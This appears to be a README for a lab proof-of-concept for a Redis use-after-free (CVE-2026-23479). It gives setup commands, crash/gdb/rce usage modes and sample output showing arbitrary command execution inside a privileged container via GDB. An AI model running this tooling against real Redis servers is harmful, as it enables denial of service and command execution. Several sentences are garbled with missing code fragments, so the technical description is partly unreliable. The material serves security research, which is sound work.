
Proof of concept with GDB‑assisted exploitation (educational / lab use only)
Use-After-Free in Redis
unblockClientOnKey()leading to Remote Code Execution
Proof of concept with GDB‑assisted exploitation (educational / lab use only)
CVE-2026-23479 is a critical Use‑After‑Free (UAF) vulnerability in Redis versions 7.2.0 through 8.6.2.
The bug resides in unblockClientOnKey() which calls .
If the client is freed during that call (e.g. due to eviction), the caller continues to operate on a dangling pointer → .
An attacker who can shape the heap after the free may achieve .
processCommandAndResetClient()This repository provides a GDB‑assisted PoC that:
freeClient() call)system() call at the same point⚠️ Important: This is not a weaponised exploit. It uses GDB inside a privileged Docker container to simulate what a real attacker could achieve after successfully exploiting the UAF.
Use it only in your own lab or on systems you have explicit permission to test.
crash, gdb, rce, full--containerXREAD BLOCK command makes the client wait for stream data.pid 1) inside the container.processCommandAndResetClient – the function called when the blocked client is re‑processed.XADD on the same stream wakes the victim.gdb mode: calls freeClient($rdi) → deliberately causes a SIGSEGV → proves UAF.rce mode: calls system("your command") → executes arbitrary shell commands as the Redis user (root by default).The breakpoint fires every time a blocked client is unblocked, showing that the same code path that contains the UAF also allows code execution.
| Branch | Vulnerable Range |
|---|---|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
| 8.6 | 8.6.0 – 8.6.2 |
The script automatically parses the Redis version and reports whether it is vulnerable.
apt (e.g. the official redis:8.6.2)--privileged (required for ptrace)git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # should return PONG
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]
| Mode | Description |
|---|---|
crash | Attempt to trigger UAF via memory pressure (no GDB required). Redis may crash, but not guaranteed. |
gdb | Attach GDB and call freeClient() at the breakpoint → forces a SIGSEGV (proves UAF). |
rce | Attach GDB and call system(cmd) at the breakpoint → executes a shell command inside the container. |
full | Run crash first; if Redis doesn't crash, fall back to gdb. |
| Argument | Default | Description |
|---|---|---|
target | (required) | IP address of the Redis server |
-p, --port | 6379 | Redis port |
-m, --mode | full | One of crash, gdb, rce, full |
--container | env-redis-vuln-1 | Docker container name |
--cmd | id > /tmp/pwned_by_cve | Command to execute in rce mode |
Note: All commands are run from the host machine, not inside the Docker container.
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
Redis will crash after the segmentation fault.
Restart the container:
docker start redis-vuln-local
Restart Redis to ensure a clean state:
docker restart redis-vuln-local
Run the exploit:
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
Verify the proof file:
docker exec redis-vuln-local ls -l /tmp/pwned
If successful, the file will exist, proving that:
system("touch /tmp/pwned");
was executed inside the Redis container.
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
If Redis exits unexpectedly (the container is no longer running), the UAF has likely been triggered.
Restart it with:
docker start redis-vuln-local
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
This mode:
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE
[*] Method: RCE via UAF code path injection
Exploits CVE-2026-23479 UAF in unblockClientOnKey()
Breakpoint on processCommandAndResetClient -> system()
Command: touch /tmp/pwned
[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit
============================================================
Results
============================================================
Target: 127.0.0.1:6379
Version: 8.6.2
Vulnerable: YES
RCE: CONFIRMED (arbitrary command execution)
============================================================
The original PoC was hardcoded for a container named env-redis-vuln-1 and contained several issues when executed with newer Python versions.
The updated version introduces the following improvements:
| Issue | Fix |
|---|---|
| Hardcoded container name | Added the --container argument and propagated it through all functions. |
file command placed inside the commands block in the GDB script | Moved file /usr/local/bin/redis-server before attach so GDB loads symbols correctly. |
subprocess.run() used with both capture_output=True and stderr=... | Replaced with stdout=subprocess.DEVNULL and stderr=subprocess.DEVNULL. |
Stale GDB processes causing ptrace: Operation not permitted | Added pkill -9 gdb before launching GDB in both trigger_uaf_gdb() and trigger_rce(). |
| No feedback when GDB failed silently | Added debug logging for GDB output and improved proof-file detection. |
docker stop redis-vuln-local
docker rm redis-vuln-local
This tool is intended solely for educational purposes, authorized security research, and testing systems you own or have explicit permission to assess.
The author does not condone or encourage unauthorized or malicious use.
Always obtain proper authorization before testing any production or third-party system.
Made with ❤️ for the security community.
Stay ethical. Stay safe.